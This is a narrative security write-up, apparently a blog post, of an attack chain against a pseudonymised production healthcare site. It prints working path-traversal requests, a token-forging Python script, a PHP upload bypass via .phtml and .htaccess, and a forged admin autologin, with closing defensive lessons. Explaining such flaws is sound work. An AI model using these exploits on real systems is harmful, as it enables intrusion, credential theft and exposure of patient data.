// the short version
TL;DR
A public support form returned an uncaught PHP fatal with a full stack trace, which named an
in-house framework and the exact file I wanted to read. The site's own homepage advertised the
framework's asset router inside an <img> tag. That router had a
path traversal with no filter at all, which gave me the application source living above the
webroot.
In that source: a sanitizer that builds the traversal it is trying to remove
(str_replace strips .. before it strips
&, so .&. becomes
..), a module loader that deliberately
includes any resolved .php, a 53 KB config file
holding the live database password and an RSA keypair, and an authorization system that mints
capability tokens by encrypting with its own public key and treats a clean
decrypt as proof of origin.
That last one means anybody can mint a valid token. One minted token opened the media upload
gate. The upload filter blacklists four extensions; Apache's own handler regex matches three
others. A .phtml file landed in the web root and executed.
Separately, the same published key forges an autologin payload for an
admin action annotated /** everyone */ whose expiry check is
true for every possible value.
Anonymous internet user to remote code execution and an administrator session, on a production healthcare platform, with no account.
Table of Contents
- The contact form that gave me a map
- The front door was in an img tag
- HOME is one floor up
- The sanitizer that built my exploit for me
- The comment that made me put down the coffee
- 53 kilobytes of JSON
- Encryption is not a signature
- The error message that tells you the password
- Four extensions versus one regex
- So was Apache guilty? Yes. Four times.
- Oh, and the admin panel
- So should you stop using PHP?
Let me get the clickbait out of the way first, because I like you.
The subtitle is a lie. You are about to watch an anonymous HTTP request from a stranger on the internet turn into code execution on a production healthcare platform, and not one single step of it is PHP's fault. Not one. PHP just happens to be standing there holding the bag, wearing the guilty face, the way PHP always is.
Every bug in this post is a human being making a completely reasonable decision. That is the whole
point. Nobody wrote eval($_GET['x']). Somebody wrote a sanitizer. Somebody
else wrote an error message that was helpful. Somebody else enabled directory listings
because a client could not find their own logo. And those three nice people, who have never met,
built me a remote code execution.
I am calling the target oh.shit. Their hostnames become
www.oh.shit, store.oh.shit and
support.oh.shit, and their filesystem paths become
/var/www/ohshit_www. Everything else, every byte of every request and
response and every line of source code below, is real and unedited. I have swapped out the actual
tokens and keys for placeholders because I am not a monster.
Grab something. This gets good around chapter four.
// chapter 1
The contact form that gave me a map
22:08. I am doing the boring part of recon, which is filling in every form on the internet like the world's least enthusiastic customer. Support portal, "submit a request", five fields. Name, email, priority, subject, body. I typed something forgettable and hit send.
POST /helpdesk/request HTTP/1.1Host: support.oh.shitContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestname=Andrew+Palmer&email=andrew%40example.com&priority=0&subject=hello&content=hello
And the server went:
HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8<b>Fatal error</b>: Uncaught ArgumentCountError: Too few arguments to functionTicket_model::AssembleFieldlist(), 0 passed in/var/www/ohshit_support/modules/ticket/controller/helpdesk.php on line 84and exactly 1 expected in /var/www/ohshit_support/modules/ticket/model/ticket_model.php:27Stack trace:#0 /var/www/ohshit_support/modules/ticket/controller/helpdesk.php(84): Ticket_model->AssembleFieldlist()#1 /var/www/ohshit_support/modules/pkpCore/model/destination.php(185): helpdesk_Controller->request_POST()#2 /var/www/ohshit_support/modules/pkpCore/main.php(280): Destination->Execute()#3 /var/www/ohshit_support/public/index.php(70): modules\pkpCore\main->run()
Two things happened here and only one of them is a security bug.
The first is that their support intake has been broken, in public, for who
knows how long. Someone calls AssembleFieldlist() with no arguments.
Every customer who ever filled in that form got a wall of red text and no ticket. That is not my
problem but it did make me feel briefly sad for them.
The second is the part that matters. That stack trace is not an error. That stack trace is a map, with a legend, and a little "you are here" arrow.
Four frames gave me:
- It is PHP, with
display_errorson in production, which in 2026 is a genuinely impressive commitment to transparency. - The framework is called pkpCore. I have never heard of pkpCore. Neither have you. Neither has anyone. That means it is in-house, which means nobody has audited it, which means oh hello.
- The directory shape:
modules/<name>/controller/andmodules/<name>/model/, withpublic/index.phpas the front controller. - And one specific filename that shows up in the middle of everything:
modules/pkpCore/main.php.
The same host leaked its absolute root a second way, and so did the storefront, any time a query value was the wrong shape:
HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 664<b>Fatal error</b>: Uncaught TypeError: strpos(): Argument #1 ($haystack) must be oftype string, array given in /var/www/ohshit_support/modules/pkpCore/main.php:447Stack trace:#0 /var/www/ohshit_support/modules/pkpCore/main.php(447): strpos()#1 /var/www/ohshit_support/modules/pkpCore/model/destination.php(185): modules\pkpCore\main->__action_login()#2 /var/www/ohshit_support/modules/pkpCore/main.php(280): Destination->Execute()#3 /var/www/ohshit_support/public/index.php(70): modules\pkpCore\main->run()
From this moment on I am not fuzzing. I am not spraying payloads. I have exactly one goal, and it is to read one file whose name I was just handed by the application itself.
// chapter 2
The front door was in an img tag
The support host was chatty, but the thing I actually wanted was the main site,
www.oh.shit, and the main site was not throwing traces at me. Different
vhost, same company, probably the same framework, but I had no proof and no entry point.
So I did the single cheapest thing available: I looked at the homepage's HTML. Not the rendered page. The source. Where the honest information lives.
$ curl -s https://www.oh.shit/ | grep -o '/~/[A-Za-z0-9_/.%-]*' | sort -u/~/loginGoogle/yt-toggle/~/themePai/img/others/banner-shape.png
There it is. /~/.
That is not a normal URL. Nobody's marketing team asks for a tilde in the asset path. That is a
framework router prefix, and it was sitting in an
<img> tag on the front page, loading a banner shape, in public,
forever.
Which told me two things at once. The www host runs the same pkpCore the support host just
confessed to. And whatever that tilde does, it takes a module name
(themePai) and then a path
(img/others/banner-shape.png) and turns them into a file on disk.
Take a module name and a user-controlled path and turn it into a file on disk. Say that sentence out loud a few times and see how you feel.
// chapter 3
HOME is one floor up
Poking at the tilde namespace turned up a sibling handler I had not seen advertised anywhere:
/~/media/. And unlike the static one we will get to in a minute, this one
had no filter at all. None. Zero. I sent it percent-encoded dot-dot like it was 2004 and it just
said yes.
GET /~/media/%2e%2e/index.php HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)Content-Type: text/x-php;charset=UTF-8Content-Disposition: inline; filename="index.php"Content-Length: 2440$STARTTIME = microtime(TRUE);define('HOME', dirname(__DIR__));try {require_once HOME . '/modules/pkpCore/model/module.php';require_once HOME . '/modules/pkpCore/modulemain.php';
I want you to notice the Content-Type.
text/x-php. The server is not executing this file, it is handing me the
ingredients list. It even set a Content-Disposition filename, like a
waiter.
And line two is the good one:
2define('HOME', dirname(__DIR__));
HOME is the directory above the webroot. This is the correct,
textbook, security-conscious layout. All the application code lives one floor up where Apache
cannot serve it. Ten out of ten. Genuinely.
It is also, right now, a street address. Because I have a file reader that climbs, and someone just told me exactly how many floors to climb. So I climbed two and asked for the file the support portal named back in chapter one.
GET /~/media/%2e%2e/%2e%2e/modules/pkpCore/main.php HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)Content-Type: text/x-php;charset=UTF-8Content-Disposition: inline; filename="main.php"<?phpnamespace modules\pkpCore;use \Pelago\Emogrifier\CssInliner;require_once __DIR__ . '/model/destination.php';require_once __DIR__ . '/model/mailobject.php';
Twenty four kilobytes of a framework that nobody outside this company has ever read. I made coffee.
// chapter 4
The sanitizer that built my exploit for me
I went looking for the thing that serves
/~/themePai/img/banner-shape.png, because that is the handler the
homepage advertises and therefore the one that gets the most traffic and the least attention.
Here it is, in full, no edits:
216private function isStaticFile($segments) {217 array_shift($segments);218 $module = array_shift($segments);219 $path = join('/', $segments);220 if ($path == '') return '';221 $filename = HOME . '/modules/' . $module . '/static/' . $path;222 $filename = str_replace(['..', '&', '<', '>', '|'], '', $filename);223 return file_exists($filename) ? $filename : '';224}
Line 222. Look at line 222. Somebody cared. Somebody sat down and thought about path traversal and thought about shell metacharacters and wrote a filter. There is a human being in that line of code trying to protect you.
And they got the order wrong, and that is the whole ballgame.
str_replace with an array walks the array in order.
It strips every .. first. Then it goes back over the result and strips
every &. Two separate passes over the same string. So watch what
happens to three characters that are not a traversal:
input .&.pass 1 strip '..' → .&. (no '..' present, nothing happens)pass 2 strip '&' → .. (congratulations)output ..
The filter does not fail to stop the traversal. The filter manufactures the traversal. Send it something that is not an attack, and it assembles the attack for you, on the server, after all the validation has passed. It is a woodchipper that outputs a tree.
So:
GET /~/pkpCore/.&./.&./.&./public/.htaccess HTTP/1.1Host: www.oh.shitUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)Content-Type: text/plain;charset=UTF-8Content-Length: 215Options +FollowSymLinks +Indexes +Includes<IfModule mod_rewrite.c>RewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule ^.*$ index.php [NC,L]</IfModule>
Keep that file. We are coming back to it in chapter ten and it is going to be responsible for about forty percent of this post.
Then, because I am a professional and professionals always check, I added three more
.&. and left /var/www entirely.
GET /~/pkpCore/.&./.&./.&./.&./.&./.&./etc/passwd HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)Content-Type: text/plain;charset=UTF-8Content-Length: 2329root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin
Arbitrary file read on a production health platform, from the open internet, with no account,
using a URL that contains no traversal characters. I want to stress that last part. If you grep
your access logs for ../ or %2e%2e you will find
nothing. The request is clean. The server dirtied it.
// chapter 5
The comment that made me put down the coffee
Now. /etc/passwd is a party trick. I wanted to know what this handler
actually does with the file once it has resolved it, so I kept reading the same file. Nine lines
further down:
226public function __module_exec(&$result, $segments) {227 $element0 = isset($segments[0]) ? $segments[0] : '';228 if ($element0 == '~' && $result === FALSE) {229 $filename = $this->isStaticFile($segments);230 if ($filename != '') { // output file/mimetype231 $mime = mime_content_type($filename);232 $ext = pathinfo($filename, PATHINFO_EXTENSION);233 if ($ext == 'css') $mime = 'text/css';234 if ($ext == 'js') $mime = 'application/javascript; charset=UTF-8';235 if ($ext == 'php') loadAndExecute($filename); // execute the php236237 header("Content-Type: $mime");238 readfile($filename);239 exit;240 } else {
Line 235.
if ($ext == 'php') loadAndExecute($filename);
And then, in case there was any ambiguity about intent, the author left a trailing comment that
says // execute the php.
I sat there for a second. This is not an accidental local file include. This is not a sloppy
include $_GET['page'] that someone forgot about. This is a
deliberate, documented, commented feature: if the static asset you asked for
happens to be a PHP file, we will run it for you. It is a module system. It is a totally sensible
thing for a framework to want.
It is pointed directly at a path that was sanitized by the woodchipper from chapter four.
12function loadAndExecute($filename) {13 include $filename;14 exit;15}
Four lines. One of them is include $filename;. The other three are
punctuation.
Proving an include actually happens is one of those things people get lazy about, so here is how you do it without needing a shell yet. Point the traversal at a PHP file that this request has not already loaded. If the handler were reading bytes, you would get the source. Instead:
GET /~/pkpCore/.&./.&./.&./modules/pkpCore/lightncandy/loader.php HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKSet-Cookie: PHPSESSID=4kf8ikbtjdshag6u8kf2u1db1a; path=/Content-Length: 0Content-Type: text/html; charset=UTF-8
No source. No bytes. It executed a file that only defines things, so it printed nothing. Now the control, the one that makes it undeniable. Point it at a file this request has already loaded, and PHP will scream about redeclaring a class:
GET /~/pkpCore/.&./.&./.&./modules/pkpCore/main.phpHTTP/1.0 500 Internal Server ErrorServer: Apache/2.4.58 (Ubuntu)Content-Length: 0Connection: close
Zero bytes on one file, a fatal redeclaration on another. Those two responses together are the difference between "I can read files" and "I can make the server run files". Nobody is arguing with that pair.
// chapter 6
53 kilobytes of JSON
With source access, the hunt stops being a hunt and becomes reading. And reading is how you find the sentence that ends the engagement. It was in the config module, in a comment:
// if .htconfig file is missing, create it:public function __global_load() {
Where does .htconfig live? HOME/storage/.
Above the webroot. Unreachable. Safe. Correct.
Unless you are me, two floors up, holding a file reader.
GET /~/media/%2e%2e/%2e%2e/storage/.htconfig HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)Content-Type: application/jsonContent-Length: 53028{"db.ok":1,"config.module.info":{"companyname":"[redacted] Inc.","db_host":"localhost","db_name":"[redacted]","db_user":"[redacted]","db_pass":"[base64 of the live MySQL password]","key":"-----BEGIN PRIVATE KEY-----\n[the application's RSA private key]\n-----END PRIVATE KEY-----","publickey":"-----BEGIN PUBLIC KEY-----\n[the matching public key]\n-----END PUBLIC KEY-----","secret":"[32 hex characters]"...
Live database credentials. A PEM private key. A 32 character application secret. Served as
application/json to a request with no cookie, in 2026, to anyone who
asks.
The database password was not even the interesting part. The public key was.
I know how that sounds. Stay with me, because the next chapter is my favourite thing I have read all year.
// chapter 7
Encryption is not a signature, and this is what happens when you mix them up
All over this application there are capability tokens. The homepage has one sitting in the DOM,
in a data-auth attribute, for the CMS editor. The media manager wants
one. They are long, opaque, base64-ish, and they look exactly like the kind of thing you leave
alone.
Here is the minter:
114public function Authorization_Create($subject, $key, $ttl = 300, $single_use = FALSE) {115 // subject 8116 // expiry 4117 // random 2118 // singleuse 1119 // key 49120 $expiry = time() + $ttl;121 $rand = mt_rand(1, 65535);122 $single_use = $single_use ? 1 : 0;123 $subject = substr($subject, 0, 8);124 $key = substr($key, 0, 49);125 $payload = pack('A8VvCA49', $subject, $expiry, $rand, $single_use, $key);126 return $this->as64($this->encryptData($payload));127}
A nice tight 64 byte struct. Subject, expiry, nonce, flag, key. Then it gets handed to
encryptData(), and this is the moment:
41public function encryptData($data) {42 if ($this->pvk_bits === FALSE) $this->_init();43 $blocksize = intval(($this->pbk_bits - 88) / 8);44 $output = '';45 if ($blocksize <= 0) {46 die("Unable to encryptData() - no key present");47 }48 foreach(str_split($data, $blocksize) as $chunk) {49 $encrypted = '';50 $j = @openssl_public_encrypt($chunk, $encrypted, $this->pbk, OPENSSL_PKCS1_PADDING );51 if ($j === FALSE) return FALSE; // failed to encrypt - bad public public52 $output .= $encrypted;53 }54 return $output;55}
openssl_public_encrypt.
The server mints its tokens by encrypting with the public key. Which works. It round trips perfectly. The server decrypts them later with the private key and gets its struct back, every time, and everyone goes home happy.
And now the verifier, which is where you find out what the application believes "valid" means:
151public function Authorization_Verify($subject, $key, $authorization_text, $noexpire = FALSE) {152 $subject = substr($subject, 0, 8);153 if ($key !== FALSE) $key = substr($key, 0, 49);154 $data = $this->From64($authorization_text);155 if ($data == FALSE) return FALSE;156 $node = unpack('A8subject/Vexpiry/vrandom/Csingle_use/A49key', $data);157 if (($key != $node['key'] && $key !== FALSE) || $subject != $node['subject']) return FALSE;158 $now = time();159 if (($node['expiry'] < $now || $node['expiry'] > $now + 86400) && !$noexpire) return FALSE;160 if ($node['single_use']) { // update database161 // use Message to update database162 // use subject, expiry, random and key163 }164 if ($key === FALSE) return $node['key'];165 return TRUE;166}
Decrypt. Unpack. Compare the subject. Compare the key field. Check the expiry is sane. Return true.
There is no signature anywhere in this function. There is no HMAC. There is no MAC check. The entire security property is "the private key decrypted it cleanly, therefore we must have made it."
Which would be a reasonable inference, if the thing that produced the ciphertext were secret. It is not. It is the public key. The clue is in the name. And I am holding it, because it was in a JSON file that anyone can download.
Public key crypto has two moves. You encrypt with the public key to get confidentiality, so only the holder of the private key can read it. You sign with the private key to get authenticity, so anyone can prove you wrote it. Those are not interchangeable, they are opposites, and this code picked the first one to do the second one's job.
The practical consequence is that anyone on earth can mint a valid token for any subject. Twenty lines of Python:
import base64, struct, time, hashlibfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import padding# straight out of .htconfig, which anyone can downloadpub = serialization.load_pem_public_key(open("pubkey.pem", "rb").read())def as64(b): # the app's url-safe flavour of base64return base64.b64encode(b).decode().replace('+', '-').replace('/', '_')folder = "banners"subject = b"mediaact".ljust(8, b" ") # A8keyfld = hashlib.md5(folder.encode()).hexdigest() # what the gate wantspayload = subject + struct.pack("<IHB", int(time.time()) + 300, 1337, 0) \+ keyfld.encode().ljust(49, b" ") # VvC + A49assert len(payload) == 64# 512-bit key -> blocksize (512-88)/8 = 53 -> two blocks -> 128 bytes outblocks = [payload[i:i+53] for i in range(0, len(payload), 53)]print(as64(b"".join(pub.encrypt(b, padding.PKCS1v15()) for b in blocks)))
Before I used it on anything, I pointed the private key at a live token scraped from the homepage, just to confirm this keypair is the one production is actually minting with today and not some leftover from staging:
$ python3 decrypt.py "AsBxmrbtFlnRNxkRMTaBrTT_HEzLA-Bb60tvCROc49b1gWh..."RSA modulus bits=512 k=64 e=65537stored publickey matches private key: Truesecret == md5(publickey.':salted:'.key): True--- token 172 b64 chars -> 128 bytes (2 blocks of 64)plaintext: b'cmspage \x02\x0e\xfdj\xef?\x00d41d8cd98f00b204e9800998ecf8427e 'node: {'subject': 'cmspage', 'expiry': 1794969090, 'random': 16367,'single_use': 0, 'key': 'd41d8cd98f00b204e9800998ecf8427e'}
Yes, that is a 512 bit RSA key. In production. In 2026. We factored 512 bit RSA in 1999. I did not need to, because they gave me the private key too, but I want it on the record that even the belt-and-braces option here was made of tissue paper.
Also, quietly, in that output:
d41d8cd98f00b204e9800998ecf8427e. If that md5 looks familiar it is
because it is the md5 of the empty string, which is a fun thing to find living
inside a production authorization token.
// chapter 8
The error message that tells you the password
So I can forge tokens. What do I point them at? Source code answers that too. The media manager has an upload action:
322final function upload() {323 $model = $this->LoadModel('mediamanager_model');324 $directory = \MediaManagerModel::getDirectory(func_get_args());325 $md5 = hook_execute( 'nonce.verify', FALSE, 'mediaact', FALSE, $this->param('auth', '') );326 $desired_md5 = md5($directory);327 if ($md5 != $desired_md5) {328 return [329 'result' => 5,330 'message' => 'Upload is not authorized',331 'actual' => $md5,332 'expected' => $desired_md5,333 'folder' => $directory,334 ];335 }
Read the failure branch again. When you are not authorized, the application returns the value it expected you to have.
It is a bouncer who says "sorry, wrong password, the password is swordfish."
Now, technically $desired_md5 is just
md5($directory) and I could compute that myself. That is not the point.
The point is the mindset: this error branch was written by someone debugging
their own upload widget at 11pm, who wanted to see why it kept failing, and who shipped it.
Developer ergonomics leaking straight into an unauthenticated response. Half of this entire post
is that exact sentence wearing different hats.
GET /~/mediamanager/upload/banners HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8var current_page={"result":5,"message":"Upload is not authorized","actual":false,"expected":"009a93317a248d0fbcd664b6fa5e79e8","folder":"banners","user":{"id":0,"level":0},"host":"www.oh.shit"};
"user":{"id":0,"level":0}. User zero, level zero. Nobody. Me. And it
is still telling me what it wants.
So I ran mint.py banners, pasted the result into the query string, and
knocked again:
GET /~/mediamanager/upload/banners?auth=KlGbrLpXaSy36Qpk5jwsVA5t2WWver-jVmmokKiHuSN_J0ss... HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 96{"result":-9999,"message":"This is a testing","md5":"009a93317a248d0fbcd664b6fa5e79e8","res":[]}
Different code path. Different result. res: [] because I did not
attach a file. And a message that says "This is a testing", which is the most
human artifact in this entire investigation and I love whoever left it there.
// chapter 9
Four extensions versus one regex
Write access to a web-served directory on a PHP host. You know where this is going. So did they, which is why there is a filter:
277public function uploadFile($directory, $temp_name, $originalname, $param = []) {278 // save to filesystem279 $info = pathinfo($originalname);280 $basename = $info['basename'];281 switch(strtolower($info['extension'])) {282 case 'sh':283 case 'php':284 case 'py':285 case 'pyc':286 $basename .= '.txt';287 break;288 }
Four cases. sh, php,
py, pyc. Anything dangerous gets
.txt stapled to the end and becomes inert. And honestly? That is not a
stupid list. Someone thought about it. Someone remembered .pyc, which is
more than most people manage.
So here is the same file, same bytes, twice, with two different names.
POST /~/mediamanager/upload/banners?auth=<forged> HTTP/1.1Host: www.oh.shitContent-Type: multipart/form-data; boundary=----db107------db107Content-Disposition: form-data; name="upload"; filename="marker-7c41e9d2.php"Content-Type: text/plain<?php echo 'EYER-WRITE-DB107-7c41e9d2'; ?>------db107--
HTTP/1.1 200 OKContent-Type: application/json{"result":-9999,"res":[{"name":"marker-7c41e9d2.php","folder":"banners/","mime":"text/x-php","target":"marker-7c41e9d2.php.txt"}]}
Perfect. The filter did its job. Note also that it saw
mime: text/x-php and shrugged, but fine, the extension check caught
it.
Now attempt two. Same bytes. One letter changed. Well, three letters.
POST /~/mediamanager/upload/banners?auth=<forged> HTTP/1.1Host: www.oh.shitContent-Type: multipart/form-data; boundary=----db107------db107Content-Disposition: form-data; name="upload"; filename="marker-7c41e9d2.phtml"Content-Type: text/plain<?php echo 'EYER-WRITE-DB107-7c41e9d2'; ?>------db107--
HTTP/1.1 200 OKContent-Type: application/json{"result":-9999,"res":[{"name":"marker-7c41e9d2.phtml","folder":"banners/","mime":"text/x-php","target":"marker-7c41e9d2.phtml"}]}
"target":"marker-7c41e9d2.phtml". Unchanged. It is on disk, under
/uploads/banners/, which is inside the webroot, which Apache serves.
Deep breath.
GET /uploads/banners/marker-7c41e9d2.phtml HTTP/1.1Host: www.oh.shit
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)Content-Type: text/html; charset=UTF-8Content-Length: 25EYER-WRITE-DB107-7c41e9d2
Not the source. Not text/x-php. The output. Content-Length
25, which is exactly the length of the string inside the echo and not the length of the file. The
server ran my PHP.
Anonymous internet user to remote code execution, on a production healthcare platform, as the web user.
On honesty: the payload was
echo 'EYER-WRITE-DB107-7c41e9d2' and nothing else. No shell, no
system(), no reverse anything. A marker that proves the interpreter ran
arbitrary attacker-supplied PHP is the whole finding. Anybody who tells you they needed to drop
a webshell to "prove impact" wanted to drop a webshell.
// chapter 10
So was Apache guilty? Yes. Four times.
This is the chapter I actually wanted to write, because .phtml
executing is the part everyone screenshots and it is the least interesting thing Apache
did here.
Go back to that .htaccess from chapter four. Every line of it is
load-bearing.
1Options +FollowSymLinks +Indexes +Includes2<IfModule mod_rewrite.c>3RewriteEngine On4RewriteCond %{REQUEST_FILENAME} !-f5RewriteCond %{REQUEST_FILENAME} !-d6RewriteRule ^.*$ index.php [NC,L]7</IfModule>
Crime one: Apache disabled its own path normalization, on request
On a normal setup, if you send /a/../../etc/passwd, Apache collapses
that itself, decides you are being weird, and hands you a 400 before PHP has woken up. Apache is
actually quite good at this.
But .&. is not a traversal to Apache. It is three
boring characters. Apache resolves the URI, sees no matching file
(!-f) and no matching directory (!-d), and so
the catch-all RewriteRule fires and the raw, unnormalized URI string is handed to
index.php to deal with.
Apache's traversal protection did not fail. It was never invoked. The application asked for the string, and the application is the one that turns the string into a path. Front controller routing is the single most common pattern in modern PHP and it quietly moves path safety from a battle-tested C program into whatever your framework author wrote on a Thursday.
Crime two: and that exact same line is why the RCE worked
This is my favourite part. The two conditions are !-f and
!-d: only rewrite if the file does not exist.
So the moment my .phtml landed on disk, it existed.
The rewrite stopped applying to it. The application router never saw that request at all. Apache
served the file directly, by itself, with its own handler rules.
The application's permission system, its session checks, its capability tokens, its mime handling, all of it stopped being relevant the instant the bytes hit the filesystem. The app wrote the file and then lost all jurisdiction over it.
Crime three: ph(ar|p|tml)
Why does .phtml run? Because Debian and Ubuntu ship this, and have
for years, in /etc/apache2/mods-available/php8.x.conf:
<FilesMatch ".+\.ph(ar|p|tml)$">SetHandler application/x-httpd-php</FilesMatch>
Now put the two lists side by side and look at them like a jury.
| Who | Where | Language | Thinks PHP means |
|---|---|---|---|
| the app | mediamanager_model.php:281 | PHP | sh, php, py, pyc |
| apache | php8.x.conf (distro default) | Apache config | phar, php, phtml |
Two files. Two languages. Two different teams, probably separated by about a decade. They disagree, and Apache is the one holding the interpreter, so Apache wins.
The blacklist is not wrong because it is short. The blacklist is wrong because it is a guess about a decision that a completely different program makes. You cannot enumerate your way out of that. The only correct version of this code does not look at the extension at all, it assigns one.
Receipts: I executed .phtml and proved it. I only proved that
.phar survives the filter, I never executed one. The distro config
above is the well-known Debian/Ubuntu default and it explains the behaviour I measured, but I
did not read their actual server config, so treat it as the explanation and not as a
capture.
Crime four: AllowOverride, or "your patch will not save you"
Say they ship a fix tomorrow. They add phtml,
phar, phps, php5,
inc, everything anyone has ever blogged about. Good list. Still dead.
Because AllowOverride is clearly not None
under that docroot, which is how the application's own .htaccess works
in the first place. So I uploaded my own .htaccess into
the uploads folder:
AddType application/x-httpd-php .eyer1d546bc0
And then a file named probe.eyer1d546bc0, an extension that did not
exist anywhere in the universe sixty seconds earlier, executed and returned its 17 byte
marker.
You cannot blacklist an extension the attacker invents at runtime. If an upload directory can
contain an .htaccess, the upload directory decides what code is, not
you.
Bonus crime: +Indexes, the one that leaks patients
Line one of their .htaccess. Options +Indexes.
This one is not even a code bug, it is a single word in a config file, and it is the one I would
be most embarrassed about:
HTTP/1.1 200 OKServer: Apache/2.4.58 (Ubuntu)<h1>Index of /uploads/client</h1><a href="[clinic-name]/">[clinic-name]/</a>
HTTP/1.1 200 OK<h1>Index of /uploads/client/[clinic-name]</h1><a href="Egg%20Retrieval.mp4">Egg Retrieval.mp4</a><a href="embryo%20transfer.mp4">embryo transfer.mp4</a><a href="What%20to%20Expect.mp4">What to Expect.mp4</a>... 12 entries
An unlinked folder that names which fertility clinics are customers, and then hands you their entire patient-facing video library. 316 MB of it, anonymously, confirmed with a Range request so I did not have to download a third of a gigabyte of someone's clinical content.
No exploit. No token. No cleverness. One word in a config file.
And the finale: the same bug, twice, in a different file
One more. Remember the woodchipper from chapter four? Here is the folder sanitizer on the upload side, written by the same hands:
45public function getDirectory($directory) {46 foreach($directory as &$element) {47 $element = rawurldecode($element);48 $element = trim(str_replace(['..', '\\', ';', '<', '>', '&', '/', '|'], '', $element));49 }50 return join('/', $directory);51}
Bigger list. Eight items instead of five. Still strips .. before it
strips &. Same bug, same ordering, different file, shipped twice.
Which means the upload destination traverses too. Mint a token for the sanitized
folder string, and the file lands wherever you like: above the media root, in the application
root, inside modules/pkpCore/lightncandy/ which the theme loader includes
from, or straight into the document root so the .phtml is served from
/.
That last one actually happened. It executed. Content-Length 23.
// chapter 11
Oh, and the admin panel
While all this was going on, another thread was reading the rest of the source, because once you can read everything you should probably read everything. It found the update module.
104/** everyone */105public function autologin() {106 header('Content-type: text/plain');107 $auth = $this->post('payload', '');108 $redirect = $this->post('redirect', '');109 if ($redirect == '') $redirect = '/admin/settings';110 $payload = $this->model_update->Decrypt($auth);111112 if ($payload !== FALSE) {113 $payload = unpack('Vuser/Vexpiry/a4signature', $payload);114 if ($payload['signature'] == "pkp\0") {115 if ($payload['expiry'] < time() || time() < $payload['expiry'] + 300) {116 $user_id = $payload['user'];117 $params = new \StdClass;118 $params->user_id = $user_id;
Let us count.
/** everyone */on line 104. That is the framework's access annotation. On an action calledautologin. In the admin controller. The admin plane never gates this, by design, in writing.- It decrypts a caller-supplied payload with the same private key from the same config file we downloaded in chapter six.
- The "signature" is the literal four bytes
pkp\0, hardcoded in the struct. A signature that is a constant is not a signature, it is a sticker. - It takes
$payload['user']as a 32 bit integer and logs you in as that user. No role check. No "is this account allowed". User 1 is, traditionally, somebody important. - And line 115. Read line 115 slowly:
if ($payload['expiry'] < time() || time() < $payload['expiry'] + 300). "Expired OR not yet expired." That condition is true for every possible value. It is anif (true)wearing a disguise. I have stared at it for a while and I still think it is beautiful.
Before:
HTTP/1.1 403 ForbiddenServer: Apache/2.4.58 (Ubuntu)Set-Cookie: PHPSESSID=mre8oai1at0tuhkd087ctgfh4u; path=/<title>Forbidden</title>
Twelve bytes of struct, encrypted with their own published public key, posted to an endpoint annotated "everyone":
POST /admin/autologin HTTP/1.1Host: www.oh.shitCookie: PHPSESSID=mre8oai1at0tuhkd087ctgfh4uContent-Type: application/x-www-form-urlencodedpayload=KW9R2J5ikuA9-glwzcJpc17Ekf9ExiwfyH6IBBF8LjluYfMqQGN25YR1cGm4TJsm...
HTTP/1.1 302 FoundLocation: //www.oh.shit/admin/settings
After, with the exact same cookie that was getting a 403 ninety seconds earlier:
HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8<a href="/logout?return=%2Fadmin%2Fsettings" title="Logout"><a href="/admin/admin-create"><a href="/admin/update">
7664 bytes of "Forbidden" became 40235 bytes of admin interface, with a logout link and an
/admin/admin-create button, which is a fun thing to be offered by a site
you do not have an account on.
// the part where I am serious for ninety seconds
So should you stop using PHP?
No. Obviously not. Scroll back up and point at the PHP.
Go on. Find me the language bug.
str_replace did exactly what the manual says.
include did exactly what the manual says.
openssl_public_encrypt did exactly what the manual says, flawlessly,
every time, which is the problem. pack('A8VvCA49') is a perfectly good
struct. Apache's FilesMatch is documented and has been for twenty
years.
Every component behaved correctly in isolation. The bugs live in the gaps between them.
- A sanitizer is only safe if you know its evaluation order. Sequential replacement is not filtering, it is a state machine, and state machines have reachable states you did not draw.
- Encryption gives you confidentiality. Signatures give you authenticity. If your auth check is "it decrypted cleanly", you are trusting whoever can produce ciphertext, and with a public key that is everybody.
- An extension blacklist is a prediction about another program's regex, usually one in a different language, written by different people, shipped by your distro, updated without telling you. Never blacklist. Generate the filename and the extension yourself, store the thing outside the webroot, and serve it through code.
- Error messages are an API. Yours is being consumed, right now, by someone you have not met, and they are reading the field you added for debugging.
- And the quiet one: front controller routing moves path safety out of Apache and into
your code. That is a real tradeoff and almost nobody writes it down. Apache spent
twenty years learning how to normalize a path. Your
RewriteRule ^.*$ index.phppolitely declines all of it.
Here is the thing that actually keeps me up. Not one of these bugs is exotic. Every one is in
the first chapter of every book. And they were all written by somebody who was trying:
the person who wrote the sanitizer was thinking about traversal, the person who wrote the
blacklist was thinking about uploads, the person who put HOME above the
webroot was thinking about exactly this attack. They each solved their piece.
Nobody owned the seams. The seams are where I live.
